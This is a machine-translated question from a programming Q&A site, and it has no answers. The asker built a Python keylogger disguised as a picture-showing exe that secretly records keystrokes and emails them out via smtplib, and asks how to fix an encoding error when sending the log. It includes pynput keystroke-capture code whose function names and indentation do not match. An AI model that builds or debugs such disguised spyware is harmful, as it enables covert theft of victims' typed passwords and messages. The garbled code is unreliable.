使用Pynput处理击键时出现smtplib异常

时间:2019-01-05 11:06:24

标签: python windows python-2.7 smtplib pynput

TL; DR: 找到了错误,尚未解决:
Typing in english(left side), displayed in hebrew(right side)

我在Ubuntu计算机(VMware)上的 python 2.7 中构建了一个简单的键盘记录程序。 创建的exe文件应该显示图片并在后台执行键盘记录程序。 它在主机计算机(VMware主机,未安装python )上运行,但在我安装的其他计算机(也没有python )上运行。它确实显示了图片,但无法使用smtplib发送电子邮件

为了处理按键,我使用了如下的pynput:

keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()

和proccess_keystrokes是:

def process_key_press(self, key):
try:
    current_key = key.char
except AttributeError:
    current_key = '{0}'.format(key)
    if current_key == 'Key.space':
        current_key = " "
    else:
        if current_key == 'Key.enter':
            current_key = "\n"
        else:
            current_key = " " + current_key + " "
except UnicodeEncodeError:
    current_key = " bla "
self.append_to_log(current_key)

现在,除了从第一次记录键盘记录器启动的通知以来,它没有在Windows机器上发送任何内容。

我也尝试从pycharm中运行,几秒钟的运行后我得到以下异常:

  

sendmail中的文件“ C:\ Users \ PC \ AppData \ Local \ Programs \ Python \ Python37-32 \ lib \ smtplib.py”,行855       msg = _fix_eols(msg).encode('ascii')   UnicodeEncodeError:“ ascii”编解码器无法对位置6-11中的字符进行编码:序数不在range(128)中

谁知道我做错了什么?如何正确解析击键?我尝试了几本手册,但找不到解决方案。

感谢您的帮助,

0 个答案:

没有答案